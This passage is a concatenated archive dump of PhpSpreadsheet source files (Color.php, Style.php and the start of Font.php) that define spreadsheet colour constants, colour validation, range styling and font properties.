function exportArray1(): array { $exportedArray = []; $this->exportArray2($exportedArray, 'bottom', $this->getBottom()); $this->exportArray2($exportedArray, 'diagonal', $this->getDiagonal()); $this->exportArray2($exportedArray, 'diagonalDirection', $this->getDiagonalDirection()); $this->exportArray2($exportedArray, 'left', $this->getLeft()); $this->exportArray2($exportedArray, 'right', $this->getRight()); $this->exportArray2($exportedArray, 'top', $this->getTop()); return $exportedArray; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/Color.php000064400000033267151676714400020151 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style; class Color extends Supervisor { const NAMED_COLORS = [ 'Black', 'White', 'Red', 'Green', 'Blue', 'Yellow', 'Magenta', 'Cyan', ]; // Colors const COLOR_BLACK = 'FF000000'; const COLOR_WHITE = 'FFFFFFFF'; const COLOR_RED = 'FFFF0000'; const COLOR_DARKRED = 'FF800000'; const COLOR_BLUE = 'FF0000FF'; const COLOR_DARKBLUE = 'FF000080'; const COLOR_GREEN = 'FF00FF00'; const COLOR_DARKGREEN = 'FF008000'; const COLOR_YELLOW = 'FFFFFF00'; const COLOR_DARKYELLOW = 'FF808000'; const COLOR_MAGENTA = 'FFFF00FF'; const COLOR_CYAN = 'FF00FFFF'; const NAMED_COLOR_TRANSLATIONS = [ 'Black' => self::COLOR_BLACK, 'White' => self::COLOR_WHITE, 'Red' => self::COLOR_RED, 'Green' => self::COLOR_GREEN, 'Blue' => self::COLOR_BLUE, 'Yellow' => self::COLOR_YELLOW, 'Magenta' => self::COLOR_MAGENTA, 'Cyan' => self::COLOR_CYAN, ]; const VALIDATE_ARGB_SIZE = 8; const VALIDATE_RGB_SIZE = 6; const VALIDATE_COLOR_6 = '/^[A-F0-9]{6}$/i'; const VALIDATE_COLOR_8 = '/^[A-F0-9]{8}$/i'; private const INDEXED_COLORS = [ 1 => 'FF000000', // System Colour #1 - Black 2 => 'FFFFFFFF', // System Colour #2 - White 3 => 'FFFF0000', // System Colour #3 - Red 4 => 'FF00FF00', // System Colour #4 - Green 5 => 'FF0000FF', // System Colour #5 - Blue 6 => 'FFFFFF00', // System Colour #6 - Yellow 7 => 'FFFF00FF', // System Colour #7- Magenta 8 => 'FF00FFFF', // System Colour #8- Cyan 9 => 'FF800000', // Standard Colour #9 10 => 'FF008000', // Standard Colour #10 11 => 'FF000080', // Standard Colour #11 12 => 'FF808000', // Standard Colour #12 13 => 'FF800080', // Standard Colour #13 14 => 'FF008080', // Standard Colour #14 15 => 'FFC0C0C0', // Standard Colour #15 16 => 'FF808080', // Standard Colour #16 17 => 'FF9999FF', // Chart Fill Colour #17 18 => 'FF993366', // Chart Fill Colour #18 19 => 'FFFFFFCC', // Chart Fill Colour #19 20 => 'FFCCFFFF', // Chart Fill Colour #20 21 => 'FF660066', // Chart Fill Colour #21 22 => 'FFFF8080', // Chart Fill Colour #22 23 => 'FF0066CC', // Chart Fill Colour #23 24 => 'FFCCCCFF', // Chart Fill Colour #24 25 => 'FF000080', // Chart Line Colour #25 26 => 'FFFF00FF', // Chart Line Colour #26 27 => 'FFFFFF00', // Chart Line Colour #27 28 => 'FF00FFFF', // Chart Line Colour #28 29 => 'FF800080', // Chart Line Colour #29 30 => 'FF800000', // Chart Line Colour #30 31 => 'FF008080', // Chart Line Colour #31 32 => 'FF0000FF', // Chart Line Colour #32 33 => 'FF00CCFF', // Standard Colour #33 34 => 'FFCCFFFF', // Standard Colour #34 35 => 'FFCCFFCC', // Standard Colour #35 36 => 'FFFFFF99', // Standard Colour #36 37 => 'FF99CCFF', // Standard Colour #37 38 => 'FFFF99CC', // Standard Colour #38 39 => 'FFCC99FF', // Standard Colour #39 40 => 'FFFFCC99', // Standard Colour #40 41 => 'FF3366FF', // Standard Colour #41 42 => 'FF33CCCC', // Standard Colour #42 43 => 'FF99CC00', // Standard Colour #43 44 => 'FFFFCC00', // Standard Colour #44 45 => 'FFFF9900', // Standard Colour #45 46 => 'FFFF6600', // Standard Colour #46 47 => 'FF666699', // Standard Colour #47 48 => 'FF969696', // Standard Colour #48 49 => 'FF003366', // Standard Colour #49 50 => 'FF339966', // Standard Colour #50 51 => 'FF003300', // Standard Colour #51 52 => 'FF333300', // Standard Colour #52 53 => 'FF993300', // Standard Colour #53 54 => 'FF993366', // Standard Colour #54 55 => 'FF333399', // Standard Colour #55 56 => 'FF333333', // Standard Colour #56 ]; /** * ARGB - Alpha RGB. */ protected ?string $argb = null; private bool $hasChanged = false; /** * Create a new Color. * * @param string $colorValue ARGB value for the colour, or named colour * @param bool $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param bool $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct(string $colorValue = self::COLOR_BLACK, bool $isSupervisor = false, bool $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); // Initialise values if (!$isConditional) { $this->argb = $this->validateColor($colorValue) ?: self::COLOR_BLACK; } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor. */ public function getSharedComponent(): self { /** @var Style $parent */ $parent = $this->parent; /** @var Border|Fill $sharedComponent */ $sharedComponent = $parent->getSharedComponent(); if ($sharedComponent instanceof Fill) { if ($this->parentPropertyName === 'endColor') { return $sharedComponent->getEndColor(); } return $sharedComponent->getStartColor(); } return $sharedComponent->getColor(); } /** * Build style array from subcomponents. */ public function getStyleArray(array $array): array { /** @var Style $parent */ $parent = $this->parent; return $parent->getStyleArray([$this->parentPropertyName => $array]); } /** * Apply styles from array. * * <code> * $spreadsheet->getActiveSheet()->getStyle('B2')->getFont()->getColor()->applyFromArray(['rgb' => '808080']); * </code> * * @param array $styleArray Array containing style information * * @return $this */ public function applyFromArray(array $styleArray): static { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($styleArray)); } else { if (isset($styleArray['rgb'])) { $this->setRGB($styleArray['rgb']); } if (isset($styleArray['argb'])) { $this->setARGB($styleArray['argb']); } } return $this; } private function validateColor(?string $colorValue): string { if ($colorValue === null || $colorValue === '') { return self::COLOR_BLACK; } $named = ucfirst(strtolower($colorValue)); if (array_key_exists($named, self::NAMED_COLOR_TRANSLATIONS)) { return self::NAMED_COLOR_TRANSLATIONS[$named]; } if (preg_match(self::VALIDATE_COLOR_8, $colorValue) === 1) { return $colorValue; } if (preg_match(self::VALIDATE_COLOR_6, $colorValue) === 1) { return 'FF' . $colorValue; } return ''; } /** * Get ARGB. */ public function getARGB(): ?string { if ($this->isSupervisor) { return $this->getSharedComponent()->getARGB(); } return $this->argb; } /** * Set ARGB. * * @param ?string $colorValue ARGB value, or a named color * * @return $this */ public function setARGB(?string $colorValue = self::COLOR_BLACK): static { $this->hasChanged = true; $colorValue = $this->validateColor($colorValue); if ($colorValue === '') { return $this; } if ($this->isSupervisor) { $styleArray = $this->getStyleArray(['argb' => $colorValue]); $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->argb = $colorValue; } return $this; } /** * Get RGB. */ public function getRGB(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getRGB(); } return substr($this->argb ?? '', 2); } /** * Set RGB. * * @param ?string $colorValue RGB value, or a named color * * @return $this */ public function setRGB(?string $colorValue = self::COLOR_BLACK): static { return $this->setARGB($colorValue); } /** * Get a specified colour component of an RGB value. * * @param string $rgbValue The colour as an RGB value (e.g. FF00CCCC or CCDDEE * @param int $offset Position within the RGB value to extract * @param bool $hex Flag indicating whether the component should be returned as a hex or a * decimal value * * @return int|string The extracted colour component */ private static function getColourComponent(string $rgbValue, int $offset, bool $hex = true): string|int { $colour = substr($rgbValue, $offset, 2) ?: ''; if (preg_match('/^[0-9a-f]{2}$/i', $colour) !== 1) { $colour = '00'; } return ($hex) ? $colour : (int) hexdec($colour); } /** * Get the red colour component of an RGB value. * * @param string $rgbValue The colour as an RGB value (e.g. FF00CCCC or CCDDEE * @param bool $hex Flag indicating whether the component should be returned as a hex or a * decimal value * * @return int|string The red colour component */ public static function getRed(string $rgbValue, bool $hex = true) { return self::getColourComponent($rgbValue, strlen($rgbValue) - 6, $hex); } /** * Get the green colour component of an RGB value. * * @param string $rgbValue The colour as an RGB value (e.g. FF00CCCC or CCDDEE * @param bool $hex Flag indicating whether the component should be returned as a hex or a * decimal value * * @return int|string The green colour component */ public static function getGreen(string $rgbValue, bool $hex = true) { return self::getColourComponent($rgbValue, strlen($rgbValue) - 4, $hex); } /** * Get the blue colour component of an RGB value. * * @param string $rgbValue The colour as an RGB value (e.g. FF00CCCC or CCDDEE * @param bool $hex Flag indicating whether the component should be returned as a hex or a * decimal value * * @return int|string The blue colour component */ public static function getBlue(string $rgbValue, bool $hex = true) { return self::getColourComponent($rgbValue, strlen($rgbValue) - 2, $hex); } /** * Adjust the brightness of a color. * * @param string $hexColourValue The colour as an RGBA or RGB value (e.g. FF00CCCC or CCDDEE) * @param float $adjustPercentage The percentage by which to adjust the colour as a float from -1 to 1 * * @return string The adjusted colour as an RGBA or RGB value (e.g. FF00CCCC or CCDDEE) */ public static function changeBrightness(string $hexColourValue, float $adjustPercentage): string { $rgba = (strlen($hexColourValue) === 8); $adjustPercentage = max(-1.0, min(1.0, $adjustPercentage)); /** @var int $red */ $red = self::getRed($hexColourValue, false); /** @var int $green */ $green = self::getGreen($hexColourValue, false); /** @var int $blue */ $blue = self::getBlue($hexColourValue, false); return (($rgba) ? 'FF' : '') . RgbTint::rgbAndTintToRgb($red, $green, $blue, $adjustPercentage); } /** * Get indexed color. * * @param int $colorIndex Index entry point into the colour array * @param bool $background Flag to indicate whether default background or foreground colour * should be returned if the indexed colour doesn't exist */ public static function indexedColor(int $colorIndex, bool $background = false, ?array $palette = null): self { // Clean parameter $colorIndex = (int) $colorIndex; if (empty($palette)) { if (isset(self::INDEXED_COLORS[$colorIndex])) { return new self(self::INDEXED_COLORS[$colorIndex]); } } else { if (isset($palette[$colorIndex])) { return new self($palette[$colorIndex]); } } return ($background) ? new self(self::COLOR_WHITE) : new self(self::COLOR_BLACK); } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { if ($this->isSupervisor) { return $this->getSharedComponent()->getHashCode(); } return md5( $this->argb . __CLASS__ ); } protected function exportArray1(): array { $exportedArray = []; $this->exportArray2($exportedArray, 'argb', $this->getARGB()); return $exportedArray; } public function getHasChanged(): bool { if ($this->isSupervisor) { return $this->getSharedComponent()->hasChanged; } return $this->hasChanged; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/Style.php000064400000065242151676714400020171 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Spreadsheet; class Style extends Supervisor { /** * Font. */ protected Font $font; /** * Fill. */ protected Fill $fill; /** * Borders. */ protected Borders $borders; /** * Alignment. */ protected Alignment $alignment; /** * Number Format. */ protected NumberFormat $numberFormat; /** * Protection. */ protected Protection $protection; /** * Index of style in collection. Only used for real style. */ protected int $index; /** * Use Quote Prefix when displaying in cell editor. Only used for real style. */ protected bool $quotePrefix = false; /** * Internal cache for styles * Used when applying style on range of cells (column or row) and cleared when * all cells in range is styled. * * PhpSpreadsheet will always minimize the amount of styles used. So cells with * same styles will reference the same Style instance. To check if two styles * are similar Style::getHashCode() is used. This call is expensive. To minimize * the need to call this method we can cache the internal PHP object id of the * Style in the range. Style::getHashCode() will then only be called when we * encounter a unique style. * * @see Style::applyFromArray() * @see Style::getHashCode() * * @var null|array<string, array> */ private static ?array $cachedStyles = null; /** * Create a new Style. * * @param bool $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param bool $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct(bool $isSupervisor = false, bool $isConditional = false) { parent::__construct($isSupervisor); // Initialise values $this->font = new Font($isSupervisor, $isConditional); $this->fill = new Fill($isSupervisor, $isConditional); $this->borders = new Borders($isSupervisor, $isConditional); $this->alignment = new Alignment($isSupervisor, $isConditional); $this->numberFormat = new NumberFormat($isSupervisor, $isConditional); $this->protection = new Protection($isSupervisor, $isConditional); // bind parent if we are a supervisor if ($isSupervisor) { $this->font->bindParent($this); $this->fill->bindParent($this); $this->borders->bindParent($this); $this->alignment->bindParent($this); $this->numberFormat->bindParent($this); $this->protection->bindParent($this); } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor. */ public function getSharedComponent(): self { $activeSheet = $this->getActiveSheet(); $selectedCell = Functions::trimSheetFromCellReference($this->getActiveCell()); // e.g. 'A1' if ($activeSheet->cellExists($selectedCell)) { $xfIndex = $activeSheet->getCell($selectedCell)->getXfIndex(); } else { $xfIndex = 0; } return $activeSheet->getParentOrThrow()->getCellXfByIndex($xfIndex); } /** * Get parent. Only used for style supervisor. */ public function getParent(): Spreadsheet { return $this->getActiveSheet()->getParentOrThrow(); } /** * Build style array from subcomponents. */ public function getStyleArray(array $array): array { return ['quotePrefix' => $array]; } /** * Apply styles from array. * * <code> * $spreadsheet->getActiveSheet()->getStyle('B2')->applyFromArray( * [ * 'font' => [ * 'name' => 'Arial', * 'bold' => true, * 'italic' => false, * 'underline' => Font::UNDERLINE_DOUBLE, * 'strikethrough' => false, * 'color' => [ * 'rgb' => '808080' * ] * ], * 'borders' => [ * 'bottom' => [ * 'borderStyle' => Border::BORDER_DASHDOT, * 'color' => [ * 'rgb' => '808080' * ] * ], * 'top' => [ * 'borderStyle' => Border::BORDER_DASHDOT, * 'color' => [ * 'rgb' => '808080' * ] * ] * ], * 'alignment' => [ * 'horizontal' => Alignment::HORIZONTAL_CENTER, * 'vertical' => Alignment::VERTICAL_CENTER, * 'wrapText' => true, * ], * 'quotePrefix' => true * ] * ); * </code> * * @param array $styleArray Array containing style information * @param bool $advancedBorders advanced mode for setting borders * * @return $this */ public function applyFromArray(array $styleArray, bool $advancedBorders = true): static { if ($this->isSupervisor) { $pRange = $this->getSelectedCells(); // Uppercase coordinate and strip any Worksheet reference from the selected range $pRange = strtoupper($pRange); if (str_contains($pRange, '!')) { $pRangeWorksheet = StringHelper::strToUpper(trim(substr($pRange, 0, (int) strrpos($pRange, '!')), "'")); if ($pRangeWorksheet !== '' && StringHelper::strToUpper($this->getActiveSheet()->getTitle()) !== $pRangeWorksheet) { throw new Exception('Invalid Worksheet for specified Range'); } $pRange = strtoupper(Functions::trimSheetFromCellReference($pRange)); } // Is it a cell range or a single cell? if (!str_contains($pRange, ':')) { $rangeA = $pRange; $rangeB = $pRange; } else { [$rangeA, $rangeB] = explode(':', $pRange); } // Calculate range outer borders $rangeStart = Coordinate::coordinateFromString($rangeA); $rangeEnd = Coordinate::coordinateFromString($rangeB); $rangeStartIndexes = Coordinate::indexesFromString($rangeA); $rangeEndIndexes = Coordinate::indexesFromString($rangeB); $columnStart = $rangeStart[0]; $columnEnd = $rangeEnd[0]; // Make sure we can loop upwards on rows and columns if ($rangeStartIndexes[0] > $rangeEndIndexes[0] && $rangeStartIndexes[1] > $rangeEndIndexes[1]) { $tmp = $rangeStartIndexes; $rangeStartIndexes = $rangeEndIndexes; $rangeEndIndexes = $tmp; } // ADVANCED MODE: if ($advancedBorders && isset($styleArray['borders'])) { // 'allBorders' is a shorthand property for 'outline' and 'inside' and // it applies to components that have not been set explicitly if (isset($styleArray['borders']['allBorders'])) { foreach (['outline', 'inside'] as $component) { if (!isset($styleArray['borders'][$component])) { $styleArray['borders'][$component] = $styleArray['borders']['allBorders']; } } unset($styleArray['borders']['allBorders']); // not needed any more } // 'outline' is a shorthand property for 'top', 'right', 'bottom', 'left' // it applies to components that have not been set explicitly if (isset($styleArray['borders']['outline'])) { foreach (['top', 'right', 'bottom', 'left'] as $component) { if (!isset($styleArray['borders'][$component])) { $styleArray['borders'][$component] = $styleArray['borders']['outline']; } } unset($styleArray['borders']['outline']); // not needed any more } // 'inside' is a shorthand property for 'vertical' and 'horizontal' // it applies to components that have not been set explicitly if (isset($styleArray['borders']['inside'])) { foreach (['vertical', 'horizontal'] as $component) { if (!isset($styleArray['borders'][$component])) { $styleArray['borders'][$component] = $styleArray['borders']['inside']; } } unset($styleArray['borders']['inside']); // not needed any more } // width and height characteristics of selection, 1, 2, or 3 (for 3 or more) $xMax = min($rangeEndIndexes[0] - $rangeStartIndexes[0] + 1, 3); $yMax = min($rangeEndIndexes[1] - $rangeStartIndexes[1] + 1, 3); // loop through up to 3 x 3 = 9 regions for ($x = 1; $x <= $xMax; ++$x) { // start column index for region $colStart = ($x == 3) ? Coordinate::stringFromColumnIndex($rangeEndIndexes[0]) : Coordinate::stringFromColumnIndex($rangeStartIndexes[0] + $x - 1); // end column index for region $colEnd = ($x == 1) ? Coordinate::stringFromColumnIndex($rangeStartIndexes[0]) : Coordinate::stringFromColumnIndex($rangeEndIndexes[0] - $xMax + $x); for ($y = 1; $y <= $yMax; ++$y) { // which edges are touching the region $edges = []; if ($x == 1) { // are we at left edge $edges[] = 'left'; } if ($x == $xMax) { // are we at right edge $edges[] = 'right'; } if ($y == 1) { // are we at top edge? $edges[] = 'top'; } if ($y == $yMax) { // are we at bottom edge? $edges[] = 'bottom'; } // start row index for region $rowStart = ($y == 3) ? $rangeEndIndexes[1] : $rangeStartIndexes[1] + $y - 1; // end row index for region $rowEnd = ($y == 1) ? $rangeStartIndexes[1] : $rangeEndIndexes[1] - $yMax + $y; // build range for region $range = $colStart . $rowStart . ':' . $colEnd . $rowEnd; // retrieve relevant style array for region $regionStyles = $styleArray; unset($regionStyles['borders']['inside']); // what are the inner edges of the region when looking at the selection $innerEdges = array_diff(['top', 'right', 'bottom', 'left'], $edges); // inner edges that are not touching the region should take the 'inside' border properties if they have been set foreach ($innerEdges as $innerEdge) { switch ($innerEdge) { case 'top': case 'bottom': // should pick up 'horizontal' border property if set if (isset($styleArray['borders']['horizontal'])) { $regionStyles['borders'][$innerEdge] = $styleArray['borders']['horizontal']; } else { unset($regionStyles['borders'][$innerEdge]); } break; case 'left': case 'right': // should pick up 'vertical' border property if set if (isset($styleArray['borders']['vertical'])) { $regionStyles['borders'][$innerEdge] = $styleArray['borders']['vertical']; } else { unset($regionStyles['borders'][$innerEdge]); } break; } } // apply region style to region by calling applyFromArray() in simple mode $this->getActiveSheet()->getStyle($range)->applyFromArray($regionStyles, false); } } // restore initial cell selection range $this->getActiveSheet()->getStyle($pRange); return $this; } // SIMPLE MODE: // Selection type, inspect if (preg_match('/^[A-Z]+1:[A-Z]+1048576$/', $pRange)) { $selectionType = 'COLUMN'; // Enable caching of styles self::$cachedStyles = ['hashByObjId' => [], 'styleByHash' => []]; } elseif (preg_match('/^A\d+:XFD\d+$/', $pRange)) { $selectionType = 'ROW'; // Enable caching of styles self::$cachedStyles = ['hashByObjId' => [], 'styleByHash' => []]; } else { $selectionType = 'CELL'; } // First loop through columns, rows, or cells to find out which styles are affected by this operation $oldXfIndexes = $this->getOldXfIndexes($selectionType, $rangeStartIndexes, $rangeEndIndexes, $columnStart, $columnEnd, $styleArray); // clone each of the affected styles, apply the style array, and add the new styles to the workbook $workbook = $this->getActiveSheet()->getParentOrThrow(); $newXfIndexes = []; foreach ($oldXfIndexes as $oldXfIndex => $dummy) { $style = $workbook->getCellXfByIndex($oldXfIndex); // $cachedStyles is set when applying style for a range of cells, either column or row if (self::$cachedStyles === null) { // Clone the old style and apply style-array $newStyle = clone $style; $newStyle->applyFromArray($styleArray); // Look for existing style we can use instead (reduce memory usage) $existingStyle = $workbook->getCellXfByHashCode($newStyle->getHashCode()); } else { // Style cache is stored by Style::getHashCode(). But calling this method is // expensive. So we cache the php obj id -> hash. $objId = spl_object_id($style); // Look for the original HashCode $styleHash = self::$cachedStyles['hashByObjId'][$objId] ?? null; if ($styleHash === null) { // This object_id is not cached, store the hashcode in case encounter again $styleHash = self::$cachedStyles['hashByObjId'][$objId] = $style->getHashCode(); } // Find existing style by hash. $existingStyle = self::$cachedStyles['styleByHash'][$styleHash] ?? null; if (!$existingStyle) { // The old style combined with the new style array is not cached, so we create it now $newStyle = clone $style; $newStyle->applyFromArray($styleArray); // Look for similar style in workbook to reduce memory usage $existingStyle = $workbook->getCellXfByHashCode($newStyle->getHashCode()); // Cache the new style by original hashcode self::$cachedStyles['styleByHash'][$styleHash] = $existingStyle instanceof self ? $existingStyle : $newStyle; } } if ($existingStyle) { // there is already such cell Xf in our collection $newXfIndexes[$oldXfIndex] = $existingStyle->getIndex(); } else { if (!isset($newStyle)) { // Handle bug in PHPStan, see https://github.com/phpstan/phpstan/issues/5805 // $newStyle should always be defined. // This block might not be needed in the future // @codeCoverageIgnoreStart $newStyle = clone $style; $newStyle->applyFromArray($styleArray); // @codeCoverageIgnoreEnd } // we don't have such a cell Xf, need to add $workbook->addCellXf($newStyle); $newXfIndexes[$oldXfIndex] = $newStyle->getIndex(); } } // Loop through columns, rows, or cells again and update the XF index switch ($selectionType) { case 'COLUMN': for ($col = $rangeStartIndexes[0]; $col <= $rangeEndIndexes[0]; ++$col) { $columnDimension = $this->getActiveSheet()->getColumnDimensionByColumn($col); $oldXfIndex = $columnDimension->getXfIndex(); $columnDimension->setXfIndex($newXfIndexes[$oldXfIndex]); } // Disable caching of styles self::$cachedStyles = null; break; case 'ROW': for ($row = $rangeStartIndexes[1]; $row <= $rangeEndIndexes[1]; ++$row) { $rowDimension = $this->getActiveSheet()->getRowDimension($row); // row without explicit style should be formatted based on default style $oldXfIndex = $rowDimension->getXfIndex() ?? 0; $rowDimension->setXfIndex($newXfIndexes[$oldXfIndex]); } // Disable caching of styles self::$cachedStyles = null; break; case 'CELL': for ($col = $rangeStartIndexes[0]; $col <= $rangeEndIndexes[0]; ++$col) { for ($row = $rangeStartIndexes[1]; $row <= $rangeEndIndexes[1]; ++$row) { $cell = $this->getActiveSheet()->getCell([$col, $row]); $oldXfIndex = $cell->getXfIndex(); $cell->setXfIndex($newXfIndexes[$oldXfIndex]); } } break; } } else { // not a supervisor, just apply the style array directly on style object if (isset($styleArray['fill'])) { $this->getFill()->applyFromArray($styleArray['fill']); } if (isset($styleArray['font'])) { $this->getFont()->applyFromArray($styleArray['font']); } if (isset($styleArray['borders'])) { $this->getBorders()->applyFromArray($styleArray['borders']); } if (isset($styleArray['alignment'])) { $this->getAlignment()->applyFromArray($styleArray['alignment']); } if (isset($styleArray['numberFormat'])) { $this->getNumberFormat()->applyFromArray($styleArray['numberFormat']); } if (isset($styleArray['protection'])) { $this->getProtection()->applyFromArray($styleArray['protection']); } if (isset($styleArray['quotePrefix'])) { $this->quotePrefix = $styleArray['quotePrefix']; } } return $this; } private function getOldXfIndexes(string $selectionType, array $rangeStart, array $rangeEnd, string $columnStart, string $columnEnd, array $styleArray): array { $oldXfIndexes = []; switch ($selectionType) { case 'COLUMN': for ($col = $rangeStart[0]; $col <= $rangeEnd[0]; ++$col) { $oldXfIndexes[$this->getActiveSheet()->getColumnDimensionByColumn($col)->getXfIndex()] = true; } foreach ($this->getActiveSheet()->getColumnIterator($columnStart, $columnEnd) as $columnIterator) { $cellIterator = $columnIterator->getCellIterator(); $cellIterator->setIterateOnlyExistingCells(true); foreach ($cellIterator as $columnCell) { if ($columnCell !== null) { $columnCell->getStyle()->applyFromArray($styleArray); } } } break; case 'ROW': for ($row = $rangeStart[1]; $row <= $rangeEnd[1]; ++$row) { if ($this->getActiveSheet()->getRowDimension($row)->getXfIndex() === null) { $oldXfIndexes[0] = true; // row without explicit style should be formatted based on default style } else { $oldXfIndexes[$this->getActiveSheet()->getRowDimension($row)->getXfIndex()] = true; } } foreach ($this->getActiveSheet()->getRowIterator((int) $rangeStart[1], (int) $rangeEnd[1]) as $rowIterator) { $cellIterator = $rowIterator->getCellIterator(); $cellIterator->setIterateOnlyExistingCells(true); foreach ($cellIterator as $rowCell) { if ($rowCell !== null) { $rowCell->getStyle()->applyFromArray($styleArray); } } } break; case 'CELL': for ($col = $rangeStart[0]; $col <= $rangeEnd[0]; ++$col) { for ($row = $rangeStart[1]; $row <= $rangeEnd[1]; ++$row) { $oldXfIndexes[$this->getActiveSheet()->getCell([$col, $row])->getXfIndex()] = true; } } break; } return $oldXfIndexes; } /** * Get Fill. */ public function getFill(): Fill { return $this->fill; } /** * Get Font. */ public function getFont(): Font { return $this->font; } /** * Set font. * * @return $this */ public function setFont(Font $font): static { $this->font = $font; return $this; } /** * Get Borders. */ public function getBorders(): Borders { return $this->borders; } /** * Get Alignment. */ public function getAlignment(): Alignment { return $this->alignment; } /** * Get Number Format. */ public function getNumberFormat(): NumberFormat { return $this->numberFormat; } /** * Get Conditional Styles. Only used on supervisor. * * @return Conditional[] */ public function getConditionalStyles(): array { return $this->getActiveSheet()->getConditionalStyles($this->getActiveCell()); } /** * Set Conditional Styles. Only used on supervisor. * * @param Conditional[] $conditionalStyleArray Array of conditional styles * * @return $this */ public function setConditionalStyles(array $conditionalStyleArray): static { $this->getActiveSheet()->setConditionalStyles($this->getSelectedCells(), $conditionalStyleArray); return $this; } /** * Get Protection. */ public function getProtection(): Protection { return $this->protection; } /** * Get quote prefix. */ public function getQuotePrefix(): bool { if ($this->isSupervisor) { return $this->getSharedComponent()->getQuotePrefix(); } return $this->quotePrefix; } /** * Set quote prefix. * * @return $this */ public function setQuotePrefix(bool $quotePrefix): static { if ($quotePrefix == '') { $quotePrefix = false; } if ($this->isSupervisor) { $styleArray = ['quotePrefix' => $quotePrefix]; $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($styleArray); } else { $this->quotePrefix = (bool) $quotePrefix; } return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { return md5( $this->fill->getHashCode() . $this->font->getHashCode() . $this->borders->getHashCode() . $this->alignment->getHashCode() . $this->numberFormat->getHashCode() . $this->protection->getHashCode() . ($this->quotePrefix ? 't' : 'f') . __CLASS__ ); } /** * Get own index in style collection. */ public function getIndex(): int { return $this->index; } /** * Set own index in style collection. */ public function setIndex(int $index): void { $this->index = $index; } protected function exportArray1(): array { $exportedArray = []; $this->exportArray2($exportedArray, 'alignment', $this->getAlignment()); $this->exportArray2($exportedArray, 'borders', $this->getBorders()); $this->exportArray2($exportedArray, 'fill', $this->getFill()); $this->exportArray2($exportedArray, 'font', $this->getFont()); $this->exportArray2($exportedArray, 'numberFormat', $this->getNumberFormat()); $this->exportArray2($exportedArray, 'protection', $this->getProtection()); $this->exportArray2($exportedArray, 'quotePrefx', $this->getQuotePrefix()); return $exportedArray; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Style/Font.php000064400000056730151676714400020001 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Style; use PhpOffice\PhpSpreadsheet\Chart\ChartColor; class Font extends Supervisor { // Underline types const UNDERLINE_NONE = 'none'; const UNDERLINE_DOUBLE = 'double'; const UNDERLINE_DOUBLEACCOUNTING = 'doubleAccounting'; const UNDERLINE_SINGLE = 'single'; const UNDERLINE_SINGLEACCOUNTING = 'singleAccounting'; const CAP_ALL = 'all'; const CAP_SMALL = 'small'; const CAP_NONE = 'none'; private const VALID_CAPS = [self::CAP_ALL, self::CAP_SMALL, self::CAP_NONE]; protected ?string $cap = null; /** * Font Name. */ protected ?string $name = 'Calibri'; /** * The following 7 are used only for chart titles, I think. */ private string $latin = ''; private string $eastAsian = ''; private string $complexScript = ''; private int $baseLine = 0; private string $strikeType = ''; /** @var ?ChartColor */ private ?ChartColor $underlineColor = null; /** @var ?ChartColor */ private ?ChartColor $chartColor = null; // end of chart title items /** * Font Size. */ protected ?float $size = 11; /** * Bold. */ protected ?bool $bold = false; /** * Italic. */ protected ?bool $italic = false; /** * Superscript. */ protected ?bool $superscript = false; /** * Subscript. */ protected ?bool $subscript = false; /** * Underline. */ protected ?string $underline = self::UNDERLINE_NONE; /** * Strikethrough. */ protected ?bool $strikethrough = false; /** * Foreground color. */ protected Color $color; public ?int $colorIndex = null; protected string $scheme = ''; /** * Create a new Font. * * @param bool $isSupervisor Flag indicating if this is a supervisor or not * Leave this value at default unless you understand exactly what * its ramifications are * @param bool $isConditional Flag indicating if this is a conditional style or not * Leave this value at default unless you understand exactly what * its ramifications are */ public function __construct(bool $isSupervisor = false, bool $isConditional = false) { // Supervisor? parent::__construct($isSupervisor); // Initialise values if ($isConditional) { $this->name = null; $this->size = null; $this->bold = null; $this->italic = null; $this->superscript = null; $this->subscript = null; $this->underline = null; $this->strikethrough = null; $this->color = new Color(Color::COLOR_BLACK, $isSupervisor, $isConditional); } else { $this->color = new Color(Color::COLOR_BLACK, $isSupervisor); } // bind parent if we are a supervisor if ($isSupervisor) { $this->color->bindParent($this, 'color'); } } /** * Get the shared style component for the currently active cell in currently active sheet. * Only used for style supervisor. */ public function getSharedComponent(): self { /** @var Style $parent */ $parent = $this->parent; return $parent->getSharedComponent()->getFont(); } /** * Build style array from subcomponents. */ public function getStyleArray(array $array): array { return ['font' => $array]; } /** * Apply styles from array. * * <code> * $spreadsheet->getActiveSheet()->getStyle('B2')->getFont()->applyFromArray( * [ * 'name' => 'Arial', * 'bold' => TRUE, * 'italic' => FALSE, * 'underline' => \PhpOffice\PhpSpreadsheet\Style\Font::UNDERLINE_DOUBLE, * 'strikethrough' => FALSE, * 'color' => [ * 'rgb' => '808080' * ] * ] * ); * </code> * * @param array $styleArray Array containing style information * * @return $this */ public function applyFromArray(array $styleArray): static { if ($this->isSupervisor) { $this->getActiveSheet()->getStyle($this->getSelectedCells())->applyFromArray($this->getStyleArray($styleArray)); } else { if (isset($styleArray['name'])) { 